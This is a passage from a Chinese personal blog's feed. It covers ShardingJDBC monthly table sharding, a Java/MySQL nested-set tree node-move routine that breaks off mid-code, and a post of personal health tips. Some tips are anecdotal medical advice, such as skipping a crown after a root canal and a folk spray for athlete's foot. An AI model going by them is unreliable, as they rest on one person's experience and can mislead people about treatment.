<span class="keyword">null</span>;</span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line"><span class="keyword">if</span>(!StringUtils.isEmpty(source)) {</span><br><span class="line"><span class="keyword">if</span>(source.indexOf(<span class="string">":"</span>)!=-<span class="number">1</span>) {</span><br><span class="line">date = dateTimeFormat.parse(source,pos);</span><br><span class="line">}<span class="keyword">else</span> {</span><br><span class="line">date = dateFormat.parse(source, pos);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">} <span class="keyword">catch</span> (Exception e) {</span><br><span class="line">logger.error(<span class="string">"日期转换异常,异常参考信息:{},{}"</span>,e.getMessage(),source);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> date;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> Date <span class="title">parse</span><span class="params">(String source)</span> <span class="keyword">throws</span> ParseException, java.text.ParseException </span>{</span><br><span class="line">Date date = <span class="keyword">null</span>;</span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line"><span class="keyword">if</span>(!StringUtils.isEmpty(source)) {</span><br><span class="line"><span class="keyword">if</span>(source.indexOf(<span class="string">":"</span>)!=-<span class="number">1</span>) {</span><br><span class="line">date = dateTimeFormat.parse(source);</span><br><span class="line">}<span class="keyword">else</span> {</span><br><span class="line">date = dateFormat.parse(source);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">} <span class="keyword">catch</span> (Exception e) {</span><br><span class="line">logger.error(<span class="string">"日期转换异常,异常参考信息:{},{}"</span>,e.getMessage(),source);</span><br><span class="line">date = dateFormat.parse(source);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> date;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> Object <span class="title">clone</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> DateFormater(logger);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">toString</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="comment">// TODO Auto-generated method stub</span></span><br><span class="line"><span class="keyword">return</span> <span class="keyword">super</span>.toString();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>调用<a href="http://localhost:7999/orders?startTime=2021-11-01&endTime=2021-11-30">http://localhost:7999/orders?startTime=2021-11-01&endTime=2021-11-30</a> ,shardingjdbc会自动根据参数变换表名,如startTime=2021-11-01,则查询的表名为:t_order_2021-11。</p><p>插入同理,会根据createTime字段自动选择要插入的表,同时查多个月份的数据shardingjdbc会自动查询多张表。</p><p>测试用的表结构:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> <span class="keyword">TABLE</span> <span class="string">`db0`</span>.<span class="string">`Untitled`</span> (</span><br><span class="line"> <span class="string">`order_id`</span> <span class="built_in">varchar</span>(<span class="number">100</span>) <span class="built_in">CHARACTER</span> <span class="keyword">SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="keyword">NOT</span> <span class="literal">NULL</span>,</span><br><span class="line"> <span class="string">`user_id`</span> <span class="built_in">int</span>(<span class="number">11</span>) <span class="keyword">NOT</span> <span class="literal">NULL</span>,</span><br><span class="line"> <span class="string">`title`</span> <span class="built_in">varchar</span>(<span class="number">255</span>) <span class="built_in">CHARACTER</span> <span class="keyword">SET</span> utf8mb4 <span class="keyword">COLLATE</span> utf8mb4_general_ci <span class="literal">NULL</span> <span class="keyword">DEFAULT</span> <span class="literal">NULL</span>,</span><br><span class="line"> <span class="string">`create_time`</span> datetime <span class="literal">NULL</span> <span class="keyword">DEFAULT</span> <span class="literal">NULL</span> <span class="keyword">ON</span> <span class="keyword">UPDATE</span> <span class="keyword">CURRENT_TIMESTAMP</span>,</span><br><span class="line"> PRIMARY <span class="keyword">KEY</span> (<span class="string">`order_id`</span>) <span class="keyword">USING</span> BTREE</span><br><span class="line">) <span class="keyword">ENGINE</span> = <span class="keyword">InnoDB</span> <span class="built_in">CHARACTER</span> <span class="keyword">SET</span> = utf8mb4 <span class="keyword">COLLATE</span> = utf8mb4_general_ci ROW_FORMAT = Dynamic;</span><br></pre></td></tr></table></figure><h2><span id="每月创建表">每月创建表</span></h2><p>这一步不能忘,shardingjdbc不会自动创建表,因此需要我们自己写一个定时任务自动按月或者年创建表,如按月则获取当前时间并取名:t_order_2021_12</p><p>下一篇将记录一下如何使用shardingjdbc分表分库。</p>]]></content>
<summary type="html"><h1 id="使用场景"><a href="#使用场景" class="headerlink" title="使用场景"></a>使用场景</h1><p>适用于单库,日志表过大的问题,如每月产生几千万条日志,还不能清理,必须存档,其它业务表反而没这么大量时,可以使用分表来解决。</p>
<p>可以按实际情况来决定是按年分表还是按月分表,每年产生的数据量过亿时可以按月分表。</p>
<h2 id="本文使用的框架"><a href="#本文使用的框架" class="headerlink" title="本文使用的框架"></a>本文使用的框架</h2><p>使用spring boot 2.x + mybatis-plus + shardingjdbc5.x + druid </p>
<p>shardingjdbc非常坑的一个点,每个版本变一次配置,官方文档写得不清不楚,通过GITHUB找到官方示例,发现示例也很少,最后是通过网上的博文+示例+文档才搞定。</p>
<h2 id="配置maven依赖"><a href="#配置maven依赖" class="headerlink" title="配置maven依赖"></a>配置maven依赖</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">properties</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">sharding-sphere.version</span>&gt;</span>5.0.0<span class="tag">&lt;/<span class="name">sharding-sphere.version</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">mybatis-plus.version</span>&gt;</span>3.4.2<span class="tag">&lt;/<span class="name">mybatis-plus.version</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">properties</span>&gt;</span></span><br><span class="line"> </span><br><span class="line"> <span class="tag">&lt;<span class="name">parent</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-parent<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.3.4.RELEASE<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">parent</span>&gt;</span></span><br><span class="line"> </span><br><span class="line"> <span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line"> <span class="comment">&lt;!-- 不能用druid-springboot-starter 会无法启动 --&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.alibaba<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>druid<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.2.8<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">&lt;!-- https://mvnrepository.com/artifact/com.alibaba/druid-spring-boot-starter --&gt;</span></span><br><span class="line"> <span class="comment">&lt;!-- &lt;dependency&gt;</span></span><br><span class="line"><span class="comment"> &lt;groupId&gt;com.alibaba&lt;/groupId&gt;</span></span><br><span class="line"><span class="comment"> &lt;artifactId&gt;druid-spring-boot-starter&lt;/artifactId&gt;</span></span><br><span class="line"><span class="comment"> &lt;version&gt;1.1.22&lt;/version&gt;</span></span><br><span class="line"><span class="comment"> &lt;/dependency&gt;</span></span><br><span class="line"><span class="comment"> --&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-web<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"> </span><br><span class="line"> <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-jdbc<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">&lt;!-- &lt;dependency&gt;</span></span><br><span class="line"><span class="comment"> &lt;groupId&gt;com.baomidou&lt;/groupId&gt;</span></span><br><span class="line"><span class="comment"> &lt;artifactId&gt;mybatis-plus-boot-starter&lt;/artifactId&gt;</span></span><br><span class="line"><span class="comment"> &lt;version&gt;$&#123;mybatis-plus.version&#125;&lt;/version&gt;</span></span><br><span class="line"><span class="comment"> &lt;/dependency&gt; --&gt;</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">&lt;!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java --&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>mysql<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>mysql-connector-java<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="comment">&lt;!-- https://mvnrepository.com/artifact/org.apache.shardingsphere/sharding-jdbc-spring-boot-starter --&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.shardingsphere<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>shardingsphere-jdbc-core-spring-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">version</span>&gt;</span>5.0.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line"> <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.baomidou<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>mybatis-plus-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">version</span>&gt;</span>$&#123;mybatis-plus.version&#125;<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-actuator<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">exclusions</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">exclusion</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">exclusion</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">exclusion</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.fasterxml.jackson.core<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>jackson-databind<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">exclusion</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">exclusions</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"> <span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br></pre></td></tr></table></figure></summary>
<category term="JAVA" scheme="https://reiner.host/categories/JAVA/"/>
<category term="JAVA" scheme="https://reiner.host/tags/JAVA/"/>
<category term="分表" scheme="https://reiner.host/tags/%E5%88%86%E8%A1%A8/"/>
</entry>
<entry>
<title>生活笔记之日常生活中的科学养生</title>
<link href="https://reiner.host/posts/210f1a3e.html"/>
<id>https://reiner.host/posts/210f1a3e.html</id>
<published>2021-07-06T07:02:52.000Z</published>
<updated>2023-03-09T12:16:40.246Z</updated>
<content type="html"><![CDATA[<h1><span id="说明">说明</span></h1><p> 此文章为个人经验总结,纯当自用笔记(<del>反正也没人看</del>),每个人的体质和情况各不相同,不保证对每个人都有效。</p><p>某伟人曾说过:身体是革命的本钱,钱没了还可以再嫌,人病了那就人财两空了。</p><h1><span id="口腔溃疡">口腔溃疡</span></h1><p> 口腔溃疡一般是由于饮食不均衡导致的,在外漂泊的打工人多数没有条件自己做饭,吃外卖又容易营养不均衡,解决办法如下:</p><ul><li>常备维生素B族(10块钱一瓶的那种,不要买保健品!),药店里有,千万不要买那些几十几百的,都是智商税,感觉有点溃疡的苗头时就要提前吃,或者每周定期吃。</li><li>酸奶,冰箱里常备酸奶,饭后来一杯,酸奶含有多种人体所需维生素,正好弥补吃外卖饮食不均衡问题</li></ul><p>自此以后再也不怕口腔溃疡啦!</p><span id="more"></span><h1><span id="脱发问题">脱发问题</span></h1><p> 重要的东西放在前面讲,这个问题恐怕是所有人(不分男女)的恶梦了,本人试过很多所谓的偏方,包括什么黑芝麻、霸王、德国防脱发洗发水等等</p><p><strong>统统没有用!</strong> 首先需要排除是由于压力过大或者斑秃导致的脱发,如果不是这两个原因导致的,那么八成是溢脂性脱发(雄脱)导致的。</p><p>溢脂性脱发多为遗传因素,缓解方法有如下:</p><ul><li>植发 (贵得一比)</li><li>非那雄胺口服药(有副作用)</li><li>外用米诺地尔(似乎是最好的选择了,亲测有用,但需要长期使用)</li></ul><h1><span id="长痘问题">长痘问题</span></h1><p>长痘一般是皮肤出油导致,出油又容易导致面部细菌繁殖,解决办法如下:</p><ul><li>搞个最便宜的氨基酸洗面奶每晚清洗(有钱随意)洗净表面的油</li><li>保湿,买点保湿的护肤品每天使用,出油是因为皮肤干燥,不要买面膜,糙汉子直接买最便宜的(大宝、北京标婷)就够用</li><li>枕头问题,我比较喜欢侧身睡,然而之前的枕头太软,侧身睡导致鼻子附近都贴着枕头了,再加上鼻子附近又容易出油,结果导致细菌繁殖因而天天长痘,因此如果要侧身睡枕头不要太软。</li><li>涂护肤品前手洗干净不要摸其它东西防止细菌污染</li><li>维A酸乳膏,减少出油用,每晚涂易出油处</li></ul><p><strong>2023-3-9更新</strong><br> 总结一条经验,保持面部干燥无菌就不会长痘,口罩不宜长时间戴,最好勤换,潮湿环境+油皮容易滋生细菌</p><h1><span id="牙齿问题">牙齿问题</span></h1><p>早晚刷牙不用说了,如果已经蛀牙赶紧去补,如果已经没法补了,开始疼了,优先保守治疗,吃药撑一撑,然后每晚刷牙后用牙线清理蛀牙残留</p><p>如果用了牙线清理还是复发了,那没得救了,做根管治疗吧,根管治疗后医生会建议再做个牙冠,然而真的做了牙冠之后会发现那棵牙齿用又不好用,刷又不好刷。</p><p>所以最好的做法是不要做牙冠,就这样凑合着用,能用多久是多久,实在有一天牙齿裂开了拔掉再种牙,原生的牙齿才是最好用的。</p><h1><span id="脚气">脚气</span></h1><p>2023-3-9更新:</p><p>莫名其妙的被传染了,用了一年的曲安奈德乳膏都没好,最后居然PDD买了瓶10块的狼毒喷好了,不得不说传承了千年的医术还是有点用的</p><p>持续更新……</p>]]></content>
<summary type="html"><h1 id="说明"><a href="#说明" class="headerlink" title="说明"></a>说明</h1><p> 此文章为个人经验总结,纯当自用笔记(<del>反正也没人看</del>),每个人的体质和情况各不相同,不保证对每个人都有效。</p>
<p>某伟人曾说过:身体是革命的本钱,钱没了还可以再嫌,人病了那就人财两空了。</p>
<h1 id="口腔溃疡"><a href="#口腔溃疡" class="headerlink" title="口腔溃疡"></a>口腔溃疡</h1><p> 口腔溃疡一般是由于饮食不均衡导致的,在外漂泊的打工人多数没有条件自己做饭,吃外卖又容易营养不均衡,解决办法如下:</p>
<ul>
<li>常备维生素B族(10块钱一瓶的那种,不要买保健品!),药店里有,千万不要买那些几十几百的,都是智商税,感觉有点溃疡的苗头时就要提前吃,或者每周定期吃。</li>
<li>酸奶,冰箱里常备酸奶,饭后来一杯,酸奶含有多种人体所需维生素,正好弥补吃外卖饮食不均衡问题</li>
</ul>
<p>自此以后再也不怕口腔溃疡啦!</p></summary>
<category term="其它" scheme="https://reiner.host/categories/%E5%85%B6%E5%AE%83/"/>
<category term="杂谈" scheme="https://reiner.host/tags/%E6%9D%82%E8%B0%88/"/>
<category term="生活笔记" scheme="https://reiner.host/tags/%E7%94%9F%E6%B4%BB%E7%AC%94%E8%AE%B0/"/>
</entry>
<entry>
<title>左右值树形结构移动节点方法(modified preorder tree traversal move node)</title>
<link href="https://reiner.host/posts/cfc5b0c5.html"/>
<id>https://reiner.host/posts/cfc5b0c5.html</id>
<published>2021-06-17T07:57:37.000Z</published>
<updated>2021-12-24T12:18:33.140Z</updated>
<content type="html"><![CDATA[<h1><span id="说明">说明</span></h1><p>在之前的文章:<a href="https://reiner.host/posts/9340b114.html">使用左右值树形数据结构实现树形菜单</a> 中记录了如何使用左右值增删改查节点,本次将记录一下如何移动节点,语言使用JAVA + MYSQL实现。</p><p><strong>总体思路</strong></p><p>移动节点的大致思路是记录移动节点和目标节点之间的左右值以及其子节点的左右值,移动节点及其子节点左右值和目标节点及其子节点的左右值相互加减。</p><p><strong>举例</strong></p><p>节点A的左右值是LEFT=1,RIGHT=2,节点B的左右值是LEFT=5,RIGHT=6,现在要将节点A移动到节点B前面,那么它的移动范围就是RIGHT - LEFT + 1,即:2 - 1 +1 = 2,也就是说节点A左右值+2,左右值小于节点B的左右值-2 。</p><p>结果:节点A的LEFT = 3 ,RIGHT = 4,节点B前面的节点左右值减了2变成了LEFT=1,RIGHT=2,相当于和节点A换了个位置,如此来达到移动节点的目的</p><p>后续的移动到节点B后面、移动到节点B作为其子节点思路相同。</p><p><strong>更新</strong></p><p>2021-6-22 更新</p><p>修复了BUG,最新代码请关注: <a href="https://github.com/reinershir/lui-auth">https://github.com/reinershir/lui-auth</a> 以下代码摘抄自菜单管理功能</p><span id="more"></span><h1><span id="代码示例">代码示例</span></h1><h3><span id="移动节点到目标节点的前面">移动节点到目标节点的前面</span></h3><p>将要移动的节点移动动目标节点的前面作为其兄弟节点,为防止在移动节点过程中左右值被修改,需要锁定表,代码示例如下 :</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Title</span>: moveNodeBefore</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@Description</span>: 移动菜单到目标菜单前面 </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> xh</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2021年5月29日</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> moveId 被移动菜单ID</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> targetId 目标菜单ID</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Transactional</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> Integer <span class="title">moveNodeBefore</span><span class="params">(Long moveId,Long targetId,<span class="keyword">boolean</span> isUnlockTable )</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.lockTable();</span><br><span class="line"> </span><br><span class="line">Menu moveMenu = <span class="keyword">this</span>.selectById(moveId);</span><br><span class="line"></span><br><span class="line">Menu targetMenu = <span class="keyword">this</span>.selectById(targetId);</span><br><span class="line"></span><br><span class="line">Integer nodeLeft = moveMenu.getLeftValue();</span><br><span class="line">Integer nodeRight = moveMenu.getRightValue();</span><br><span class="line"></span><br><span class="line"><span class="comment">//要移动菜单的范围,即被移动菜单及其子节点的左右值范围</span></span><br><span class="line">Integer nodeDist = nodeRight - nodeLeft+<span class="number">1</span>; <span class="comment">//确定要移动的范围</span></span><br><span class="line">Integer level = moveMenu.getLevel();</span><br><span class="line"></span><br><span class="line">Integer targetLeft = targetMenu.getLeftValue();</span><br><span class="line">Integer targetLevel = targetMenu.getLevel();</span><br><span class="line">Integer moveNodeLeft = nodeLeft < targetLeft?nodeLeft:nodeLeft + nodeDist;</span><br><span class="line"><span class="keyword">if</span>((targetLeft>=nodeLeft && targetLeft<= nodeRight)||(moveId==targetId)) {</span><br><span class="line">unlockTables();</span><br><span class="line"><span class="comment">//is child node</span></span><br><span class="line"><span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">Integer result = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">StringBuilder sql = <span class="keyword">new</span> StringBuilder(<span class="string">"UPDATE "</span>);</span><br><span class="line">sql.append(tableName);</span><br><span class="line">sql.append(<span class="string">" SET LEFT_VALUE = CASE WHEN LEFT_VALUE >= :targetLeft THEN LEFT_VALUE + :nodeDist ELSE LEFT_VALUE END ,"</span>);</span><br><span class="line">sql.append(<span class="string">"RIGHT_VALUE = CASE WHEN RIGHT_VALUE >= :targetLeft THEN RIGHT_VALUE + :nodeDist ELSE RIGHT_VALUE END "</span>);</span><br><span class="line">sql.append(<span class="string">"WHERE RIGHT_VALUE >= :targetLeft"</span>);</span><br><span class="line"></span><br><span class="line">MapSqlParameterSource params = <span class="keyword">new</span> MapSqlParameterSource();</span><br><span class="line">params.addValue(<span class="string">"nodeLeft"</span>, nodeLeft);</span><br><span class="line">params.addValue(<span class="string">"nodeRight"</span>, nodeRight);</span><br><span class="line">params.addValue(<span class="string">"targetLeft"</span>, targetLeft);</span><br><span class="line">params.addValue(<span class="string">"nodeDist"</span>, nodeDist);</span><br><span class="line"></span><br><span class="line">NamedParameterJdbcTemplate namedParameterJdbcTemplate = <span class="keyword">new</span> NamedParameterJdbcTemplate(jdbcTemplate);</span><br><span class="line"></span><br><span class="line">result+=namedParameterJdbcTemplate.update(sql.toString(),params);</span><br><span class="line"></span><br><span class="line">sql = <span class="keyword">new</span> StringBuilder(<span class="string">"UPDATE "</span>);</span><br><span class="line">sql.append(tableName);</span><br><span class="line">sql.append(<span class="string">" SET LEFT_VALUE = LEFT_VALUE + :targetLeft - :moveNodeLeft ,"</span>);</span><br><span class="line">sql.append(<span class="string">"RIGHT_VALUE = RIGHT_VALUE + :targetLeft - :moveNodeLeft ,"</span>);</span><br><span class="line">sql.append(<span class="string">"LEVEL = LEVEL - :level + :targetLevel WHERE LEFT_VALUE >= :moveNodeLeft AND RIGHT_VALUE <= :moveNodeLeft + :nodeDist -1 "</span>);</span><br><span class="line"></span><br><span class="line">params.addValue(<span class="string">"moveNodeLeft"</span>, moveNodeLeft);</span><br><span class="line">params.addValue(<span class="string">"level"</span>, level);</span><br><span class="line">params.addValue(<span class="string">"targetLevel"</span>, targetLevel);</span><br><span class="line">result +=namedParameterJdbcTemplate.update(sql.toString(),params);</span><br><span class="line"></span><br><span class="line">sql = <span class="keyword">new</span> StringBuilder(<span class="string">"UPDATE "</span>);</span><br><span class="line">sql.append(tableName);</span><br><span class="line">sql.append(<span class="string">" SET LEFT_VALUE = CASE WHEN LEFT_VALUE >= :moveNodeLeft THEN LEFT_VALUE - :nodeDist ELSE LEFT_VALUE END,"</span>);</span><br><span class="line">sql.append(<span class="string">"RIGHT_VALUE = CASE WHEN RIGHT_VALUE > :moveNodeLeft THEN RIGHT_VALUE - :nodeDist ELSE RIGHT_VALUE END "</span>);</span><br><span class="line">sql.append(<span class="string">"WHERE RIGHT_VALUE > :moveNodeLeft "</span>);</span><br><span class="line"></span><br><span class="line">result+= namedParameterJdbcTemplate.update(sql.toString(),params);</span><br><span class="line"><span class="keyword">if</span>(isUnlockTable) {</span><br><span class="line">unlockTables();</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> result;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> Integer <span class="title">moveNodeBefore</span><span class="params">(Long moveId,Long targetId)</span> </span>{</span><br><span class="line"><span class="keyword">return</span> moveNodeBefore(moveId, targetId,<span class="keyword">true</span>);</span><br><span 